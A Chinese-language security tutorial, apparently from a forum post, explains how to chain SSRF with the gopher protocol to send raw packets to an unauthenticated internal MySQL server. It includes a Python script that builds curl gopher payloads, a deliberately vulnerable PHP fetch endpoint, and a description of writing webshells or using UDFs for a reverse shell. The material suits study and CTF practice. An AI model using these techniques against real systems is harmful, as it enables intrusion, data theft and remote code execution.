SSRF To RCE in MySQL

发布者:xfkxfk
发布于:2018-04-11 16:06

背景介绍

SSRF(Server-Side Request
Forgery)服务端请求伪造,是一种由攻击者构造形成由服务器端发起请求的一个漏洞,一般情况下,SSRF
攻击的目标是从外网无法访问的内部系统。

 

在互联网上已经很多介绍SSRF漏洞的原理,漏洞场景,漏洞利用方法的文章,但是大多数的SSRF漏洞利用都是内网扫描,内网服务识别,内网漏洞盲打,写计划任务获取shell,写私钥获取shell,利用SSRF漏洞结合Gohper或者Dict协议攻击Redis、MongoDB、Memcache等NoSQL,但是很少见有利用SSRF漏洞攻击内网MySQL、PostgreSQL、MSSQL等关系型数据库,所以本文我们将介绍如何利用SSRF漏洞结合Gopher系统攻击内网未授权MySQL,并且获取系统shell的方法。

MySQL通信协议

MySQL连接方式:

 

在进行利用SSRF攻击MySQL之前,先了解一下MySQL的通信协议。MySQL分为服务端和客户端,客户端连接服务器使存在三种方法:

  1. Unix套接字;

  2. 内存共享/命名管道;

  3. TCP/IP套接字;

在Linux或者Unix环境下,当我们输入

 

mysql –uroot –proot

 

登录MySQL服务器时就是用的Unix套接字连接;Unix套接字其实不是一个网络协议,只能在客户端和Mysql服务器在同一台电脑上才可以使用。

 

在window系统中客户端和Mysql服务器在同一台电脑上,可以使用命名管道和共享内存的方式。

 

TCP/IP套接字是在任何系统下都可以使用的方式,也是使用最多的连接方式,当我们输入

 

mysql –h127.0.0.1 –uroot –proot

 

时就是要TCP/IP套接字。

 

所以当我们需要抓取mysql通信数据包时必须使用TCP/IP套接字连接。

 

MySQL认证过程:

 

MySQL客户端连接并登录服务器时存在两种情况:需要密码认证以及无需密码认证。当需要密码认证时使用挑战应答模式,服务器先发送salt然后客户端使用salt加密密码然后验证;当无需密码认证时直接发送TCP/IP数据包即可。所以在非交互模式下登录并操作MySQL只能在无需密码认证,未授权情况下进行,本文利用SSRF漏洞攻击MySQL也是在其未授权情况下进行的。

 

MySQL客户端与服务器的交互主要分为两个阶段:Connection
Phase(连接阶段或者叫认证阶段)和Command
Phase(命令阶段)。在连接阶段包括握手包和认证包,这里我们不详细说明握手包,主要关注认证数据包。

 

认证数据包格式如下:

 

 

这里以无需密码认证情况登录,看看认证数据包内容:

 

 

这里Packet Length为整个数据包的长度,Packet
Number为sequence_id随每个数据包递增,从0开始,命令执行阶段遇到命令重新重置为0。这两个Packet为真个MySQL通协议的基础数据包。

 

客户端请求命令数据包格式如下:

 

 

比如这里select * from flag;命令的数据包如下:

 

构造攻击数据包

通过上面MySQL通信协议的分析,现在需要构造一个基于TCP/IP的数据包,包括连接,认证,执行命令,退出等MySQL通信数据。

 

环境:

 

ubuntu17 4.4.0-62-generic #x86_64

 

mysql Ver 14.14 Distrib 5.7.20, for Linux (x86_64)

 

首先我们需要新建一个MySQL用户,并且密码为空,使用root用户登录mysql后执行如下命令即可:

CREATE USER ' usernopass'\@'localhost';

GRANT USAGE ON \*.\* TO ' usernopass'\@'localhost';

GRANT ALL ON \*.\* TO ' usernopass'\@'localhost';

上面我们新建了一个用户usernopass,只允许本地登录,接下来开始抓包分析。

 

第一步开一个窗口抓包:

 

root\@ubuntu17:/\#tcpdump –i lo port 3306 –w mysql.pcay

 

第二步开一个窗口使用TCP/IP模式连接MySQL服务器:

 

root\@ubuntu17:/\#mysql –h 127.0.0.1 –r usernopass

 

为了抓到更多数据,然后随便select一个内容,在exit退出。

 

第三步使用Wireshark打开上面抓到的mysql.pcap包:

 

 

打开数据包后过滤mysql数据包,然后随便选一个mysql数据包邮件追踪流,TCP流,然后过滤出客户端发送到MySQL服务器的数据包,将显示格式调整为原始数据即可,此时获取的就是整个MySQL客户端连接服务器并且执行命令到退出发送的数据包内容,如上图所示。

 

然后将原始数据整理为一行,并将其url编码,最后的内容如下图所示:

 

 

将MySQL原始数据进行编码的脚本如下:

#!/usr/bin/dev python
#coding:utf-8

def result(s):    
  a = [s[i:i+2] for i in xrange(0, len(s), 2)]    
  return "curl gopher://127.0.0.1:3306/_%" + "%".join(a)

if __name__ == "__main__":    
  import sys    
  s = sys.argv[1]    
  print result(s)

利用SSRF获取系统shell

上面我们构造好了一堆TCP数据包,如果需要使用SSRF漏洞来攻击MySQL的话,那么我们可以使用gopher协议来发送上面的一堆TCP数据包,最后使用curl发送请求即可。

 

这里我们select了flag表中的数据,最后构造的请求如下:

 

 

但是很多情况下,SSRF是没有回显的,及时发送了数据而且MySQL也执行了,但是我们看不到执行后的返回数据,最后我们要的是系统的一个shell。

 

正常情况下,通过MySQL获取系统shell一般通过select into
outfile系统文件,或者使用udf来搞,那么这里同样我们将获取shell的数据包提取出来,通过gopher协议发送这些数据包同样可以达到getshell的目的。

 

通过select xxx into outfile
yyy写shell的数据包获取方法同上面构造攻击数据包的过程,将执行完写文件sql语句的抓包内容提取出来构造好即可,如下图成功写shell文件到系统目录:

 

 

通过udf直接执行系统命令过程同样,执行完一系列导出udf到plugin的命令后,即可直接执行系统命令执行,如下图所示反弹shell:

 

 

(注意:在导出文件时,当前mysql用户必须存在file权限;部分MySQL服务器运行时启用了--secure-file-priv选项,导出文件时只能导出到规定的目录下,一般为/var/mysql/data命令,要自定义目录时必须修改配置文件设置secure-file-priv
= “”;并且导入目录需要有写权限。)

实战演练

例如下面这段常见的php代码,经常在审计代码时,遇到这类问题导致的SSRF漏洞,通过这里的SSRF,如果存在未授权的MySQL即可利用上面的攻击方法获取数据库敏感信息,甚至获取系统shell。

<?php
if (isset($_GET["url"])) {
    $url = $_GET['url'];
    $url_parts = parse_url($url);
    $port = $url_parts["port"];
    $host = $url_parts["host"];
    $ip = gethostbynamel($host)[0];
    $curl = curl_init();
    curl_setopt($curl, CURLOPT_URL, $url);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($curl, CURLOPT_MAXREDIRS, 0);
    curl_setopt($curl, CURLOPT_TIMEOUT, 3);
    curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 3);
    curl_setopt($curl, CURLOPT_RESOLVE, array($host . ":" . $port . ":" . $ip));
    curl_setopt($curl, CURLOPT_PORT, $port);

    $data = curl_exec($curl);

    if (curl_error($curl)) {
        error(curl_error($curl));
    } else {
        echo $data;
    }    
}
?>

将我们构造好的获取信息的请求发送到url参数,结果如下:

 

 

可以看到成功获取到了表中的信息,利用导出文件或者udf获取系统shell的方法一样,只要构造好数据包直接发送即可。

 

此方法再前不久的一个CTF中就有一个SSRF题目,就是利用未授权的MySQL获取数据库中的信息。

其他


这里我们只是介绍了如何构造MySQL数据库的数据包,并通过SSRF漏洞进行利益,其实他的关系数据库只要满足类似的场景都是可以利用的,比如PostgreSQL同样可以通过此过程进行攻击,PostgreSQL数据库的具体利用过程这里不再讲解,请期待后续相关内容介绍。

参考链接

http://codingo.xyz/index.php/2017/12/27/mysql_protocol/

 

http://vinc.top/2017/04/19/mysql-udf%E6%8F%90%E6%9D%83linux%E5%B9%B3%E5%8F%B0/


声明:该文观点仅代表作者本人,转载请注明来自看雪